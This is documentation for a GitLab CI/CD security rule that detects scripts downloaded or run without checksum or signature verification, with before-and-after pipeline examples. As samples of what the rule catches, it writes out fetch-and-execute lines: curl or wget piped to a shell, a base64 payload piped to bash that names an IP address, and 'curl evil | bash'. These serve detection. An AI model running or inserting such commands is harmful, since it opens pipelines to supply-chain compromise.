📋 What is this?

A CI/CD job downloads or inline-executes code without any integrity check. Detects classic supply-chain patterns (curl | bash, wget | sh, download-then-exec on the same line, redirect-then-exec) plus the Megalodon-style obfuscated payload (echo "<base64>" | base64 -d | bash) and any generic <cmd> | <shell> chain. Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 (Ungoverned Usage of 3rd Party Services).

⚠️ Impact

🔧 How to fix

Download to a file and verify a checksum or signature on the same line before execution (sha256sum -c, gpg --verify, cosign verify / verify-blob). Or vendor the script in-tree under version control. For trusted internal hosts, declare the URL pattern in trustedUrls (host-precise glob match).

# .gitlab-ci.yml — ❌ Six patterns the rule catches
pipe_to_shell:
  image: alpine:3.19
  script:
    - curl -sSL https://example.com/install.sh | bash

wget_pipe:
  image: alpine:3.19
  script:
    - wget -qO- https://example.com/install.sh | sh

download_and_exec:
  image: alpine:3.19
  script:
    - curl -fsSL https://example.com/install.sh -o install.sh && bash install.sh

redirect_then_exec:
  image: alpine:3.19
  script:
    - curl -fsSL https://example.com/payload.sh > install.sh; sh install.sh

megalodon_base64:
  image: alpine:3.19
  script:
    - echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0MyI=" | base64 -d | bash

generic_local_pipe:
  image: alpine:3.19
  script:
    - cat /tmp/payload.sh | sh

# .gitlab-ci.yml — ✅ Three ways to clear the finding
vendored_script:
  image: alpine:3.19
  script:
    # In-tree script under version control, reviewed in MRs.
    - bash scripts/setup-tools.sh

checksum_verified:
  image: alpine:3.19
  script:
    # sha256sum on the same line as the download exempts the line.
    - curl -sSL https://example.com/install.sh -o install.sh && sha256sum -c install.sha256 && bash install.sh

signature_verified:
  image: alpine:3.19
  script:
    # cosign verify-blob on the same line works the same way; gpg --verify too.
    - curl -sSL https://example.com/install.sh -o install.sh && cosign verify-blob --signature install.sig install.sh && bash install.sh

# .plumber.yaml — exempt a known-good internal host
# gitlab:
#   controls:
#     pipelineMustNotExecuteUnverifiedScripts:
#       enabled: true
#       trustedUrls:
#         - https://internal-artifacts.example.com/*

💡 Tips

• Recognised integrity checks (any on the same line as the download): sha256sum, sha512sum, sha1sum, shasum, gpg --verify, cosign verify, cosign verify-blob.
• Verification is per-line: the keyword must be on the same line as the unsafe pattern, not on a separate script: entry. curl … && sha256sum -c … && bash … works; splitting them across three array items does not.
• The verification check itself ignores keywords inside quoted strings — echo "should sha256sum first" && curl evil | bash does NOT bypass detection.
• Pipe-to-shell substrings inside a quoted string (echo "Install with curl … | bash") are documentation, not execution — they do not fire.
• Heredoc-to-shell with no download on the line (cat <<EOF | bash) is operator-authored, in-tree content. Any unsafe download inside the heredoc body still fires on its own script line.
• A leading echo/printf piping a local variable into an interpreter (echo "$VAR" | python3 -c …) is in-pipeline data, not a download, so it does not fire. The exemption is voided by any curl/wget/base64 anywhere on the line — including one hidden inside a quoted command substitution (echo "$(curl evil)" | bash still fires), so quoting a fetch does not evade the check.
• trustedUrls is host-precise: https://example.com/* does NOT match https://evil.example.com/*.
• Consider vendoring external scripts into your repository for full control over their content; use a trusted package manager (apt, brew, pip) instead of raw script downloads when possible.

⚙️ Configuration

This control is configured in .plumber.yaml under the gitlab section:

gitlab:
  controls:
    pipelineMustNotExecuteUnverifiedScripts:
      enabled: true

See the CLI documentation for the full configuration reference.

🔗 Related issues